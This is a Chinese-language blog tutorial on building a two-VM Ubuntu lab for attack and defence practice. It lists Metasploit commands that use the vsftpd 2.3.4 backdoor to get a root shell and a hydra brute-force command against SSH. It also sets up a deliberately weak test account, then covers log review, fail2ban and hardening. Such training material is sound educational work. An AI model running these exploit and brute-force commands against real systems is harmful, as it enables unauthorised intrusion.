网络安全攻防实战:基于 Ubuntu 的攻击机与防守机搭建与演练

一、前言:为什么要搭建攻防演练环境

网络安全是一门高度实践驱动的学科。只读文章、看视频而不动手,永远学不会真正的渗透测试与安全防护。搭建一套"攻击机 + 防守机"的本地实验环境,是每一位安全初学者和从业者性价比最高的入门方式。

本文以 Ubuntu 22.04 LTS 为核心,演示如何用两台虚拟机分别扮演攻击机(Red Team)与防守机/靶机(Blue Team),完成从信息收集、漏洞利用、暴力破解到日志检测、入侵响应、系统加固的完整攻防闭环。所有操作均在隔离的虚拟网络中进行,仅供学习研究,请勿对未授权目标使用。

二、实验环境规划

2.1 拓扑结构

实验使用 VMware Workstation 或 VirtualBox 创建两台虚拟机,加入同一个仅主机(Host-Only)或 NAT 网络,保证攻击机可以访问防守机,同时与外部互联网逻辑隔离。典型拓扑如下:

复制代码
┌──────────────┐        Host-Only 网络         ┌──────────────┐
│   攻击机      │  ─────────────────────────▶  │   防守机      │
│ Ubuntu 22.04 │      192.168.56.0/24          │ Ubuntu Server│
│ 192.168.56.10│                              │ 192.168.56.20│
└──────────────┘                              └──────────────┘
  工具:nmap / msf / hydra                      服务:SSH / Apache / vsftpd
                                               防御:ufw / fail2ban / auditd

2.2 虚拟机资源配置

角色 系统 IP 地址 CPU / 内存 磁盘
攻击机 Ubuntu 22.04 Desktop 192.168.56.10 2 核 / 4 GB 40 GB
防守机 Ubuntu 22.04 Server 192.168.56.20 2 核 / 2 GB 30 GB

两台机器安装完成后务必拍摄快照(Snapshot),演练出错可以随时回滚,这是靶场实验最重要的习惯之一。

三、攻击机配置(Ubuntu + 渗透工具链)

3.1 基础环境安装

Ubuntu 默认不带渗透工具,需要手动安装。执行以下命令完成攻击机的基本武装:

bash 复制代码
sudo apt update && sudo apt upgrade -y
sudo apt install -y nmap netcat-openbsd hydra nikto sqlmap \
    metasploit-framework enum4linux gobuster wireshark
sudo systemctl enable postgresql --now   # Metasploit 数据库
sudo msfdb init                           # 初始化 msf 数据库

如果不想自己折腾,也可以直接使用 Kali Linux 作为攻击机;但手动在 Ubuntu 上搭建工具链能帮助你理解每个工具的依赖与原理,这正是本文选择 Ubuntu 的原因。

3.2 常用渗透工具一览

工具 阶段 用途
nmap 信息收集 主机发现、端口扫描、服务与版本识别
gobuster / nikto Web 探测 目录爆破、Web 漏洞扫描
metasploit 漏洞利用 模块化漏洞利用与后渗透框架
hydra 口令攻击 SSH/FTP/HTTP 等协议暴力破解
sqlmap Web 利用 自动化 SQL 注入检测与利用
wireshark / tcpdump 流量分析 抓包分析攻击与防守全过程

四、防守机配置(Ubuntu Server 靶机)

4.1 靶场服务部署

防守机本质上是一台"故意暴露服务"的 Ubuntu Server。先部署常见的服务作为攻击面:

bash 复制代码
sudo apt install -y openssh-server apache2 vsftpd
sudo systemctl enable --now ssh apache2 vsftpd
# 创建一个弱口令测试账号(仅实验用途!)
sudo useradd -m testuser && echo "testuser:123456" | sudo chpasswd

如果想练习真实漏洞,可以额外部署 Metasploitable2、DVWA、OWASP Juice Shop 等经典靶场,它们内置了大量已知漏洞,非常适合配合 Metasploit 演练。

4.2 监控与防御组件

防守侧的核心是"看得见"------让每一次攻击都在日志和告警中留下痕迹。安装以下组件:

bash 复制代码
sudo apt install -y ufw fail2ban auditd rkhunter tcpdump
sudo ufw allow 22/tcp && sudo ufw allow 80/tcp
sudo ufw enable                        # 启用防火墙
sudo systemctl enable --now fail2ban   # 登录失败自动封禁
sudo auditctl -w /etc/passwd -p wa -k passwd-change  # 审计关键文件

fail2ban 默认监控 /var/log/auth.log,当同一 IP 多次 SSH 登录失败时会自动调用 iptables 封禁该 IP,是防守机对抗暴力破解的第一道自动防线。

五、实战攻防演练全流程

5.1 信息收集

在攻击机上对防守机进行全端口扫描,识别开放的服务与版本:

bash 复制代码
nmap -sV -sC -p- 192.168.56.20 -oN scan_result.txt

扫描结果显示防守机开放 22(OpenSSH)、21(vsftpd)、80(Apache)端口。-sV 探测服务版本,-sC 调用默认脚本进一步枚举信息。信息收集阶段拿到的版本号,将直接决定后续漏洞利用的方向。

5.2 漏洞探测与利用

假设扫描发现 vsftpd 2.3.4------这是一个经典的笑脸后门版本。在攻击机上使用 Metasploit 利用:

bash 复制代码
msfconsole
msf6 > search vsftpd
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 192.168.56.20
msf6 > run        # 成功则直接获得 root shell

如果是 Web 服务,可以先用 nikto 扫描常见漏洞,再用 sqlmap 验证注入点。渗透的核心思路始终是:版本对应漏洞,漏洞对应模块,模块对应 payload。

5.3 口令暴力破解

没有可利用的版本漏洞时,弱口令往往是最短的突破口。用 hydra 对 SSH 进行爆破:

bash 复制代码
hydra -l testuser -P /usr/share/wordlists/rockyou.txt \
    ssh://192.168.56.20 -t 4 -V
# 输出:[22][ssh] host: 192.168.56.20  login: testuser  password: 123456

5.4 防守侧检测与响应

切换到防守机视角,复盘这次攻击在防守侧留下的全部痕迹:

bash 复制代码
# 1. 查看 SSH 登录失败与成功记录
grep sshd /var/log/auth.log | tail -50
# 2. 查看 fail2ban 封禁记录(hydra 爆破会触发封禁)
sudo fail2ban-client status sshd
# 3. 查看关键文件是否被篡改
sudo ausearch -k passwd-change
# 4. 实时抓取攻击流量进行分析
sudo tcpdump -i eth0 host 192.168.56.10 -w attack.pcap

通过日志可以清晰看到:大量来自 192.168.56.10 的 SSH 认证失败记录(对应 hydra 爆破)、vsftpd 的异常会话、以及随后 testuser 的成功登录。防守方据此封禁攻击 IP、禁用弱口令账号、修补漏洞版本,完成一次"检测---响应---加固"的闭环。

六、防守加固清单

演练结束后,按照以下清单对防守机进行系统性加固:

  1. 口令与认证------禁用弱口令,启用 SSH 密钥登录并关闭密码认证(PasswordAuthentication no);修改默认端口。
  2. 最小化攻击面------关闭不必要的服务与端口,ufw 默认拒绝入站,仅放行必需端口。
  3. 及时修补------定期 apt upgrade,订阅 Ubuntu Security Notice,及时修复 vsftpd 这类高危版本漏洞。
  4. 入侵检测------fail2ban 自动封禁 + auditd 审计关键文件 + rkhunter 定期扫描 rootkit。
  5. 日志集中------将 auth.log、Apache 日志通过 rsyslog 转发到集中日志服务器,防止攻击者清除本地痕迹。
  6. 备份与快照------重要数据定期备份,虚拟机保留干净快照,被攻破后可快速恢复。

七、总结

本文用两台 Ubuntu 虚拟机搭建了一个最小可用的攻防演练环境:攻击机负责信息收集、漏洞利用与口令破解,防守机负责服务暴露、日志监控、入侵检测与加固响应。红蓝双方在同一张网段里对抗,每一次攻击都能在日志中找到对应的痕迹,这正是理解"攻防一体"最好的方式。

后续进阶方向:在内网拓扑中加入第三台机器练习横向移动;引入 WAF 与 IDS(如 Snort、Suricata)提升检测能力;把攻击流量做成 pcap 数据集练习流量分析。安全没有终点,唯有持续演练。

攻防一体 · 知行合一

本文所有实验仅限授权环境,请遵守《网络安全法》相关规定

相关推荐
F&C嘉准传感器1 小时前
超细聚焦光纤传感模组:微米级极小光斑,精密微型元器件组装定位零偏差
人工智能·安全·目标检测·自动化·产品运营
海云安2 小时前
AI安全体系化治理:管理制度、技术管控与运营评估如何闭环
人工智能·安全
guwentian3 小时前
一文搞懂 AI Agent 安全护栏:用 Python 手写工具网关,把越权挡在执行层
人工智能·python·安全
w01_02_033 小时前
虚拟机, ubuntu , samba
linux·运维·ubuntu
佳&弥3 小时前
数据库提权
服务器·数据库·安全·web安全·网络安全
羽翼安全3 小时前
医院电脑防止拍照 化解屏幕防拍照泄密合规难题
安全·电脑
莫问ABC3 小时前
Python 详解:从语法基础到进阶实战
开发语言·python·安全
极小狐3 小时前
极狐GitLab Runner 自托管安全加固指南
安全·ci/cd·gitlab·devops·runner·安全加固
其实防守也摸鱼3 小时前
如何使用自动化教育SRC漏洞挖掘系统--AutoHunter
运维·网络·人工智能·学习·安全·web安全·自动化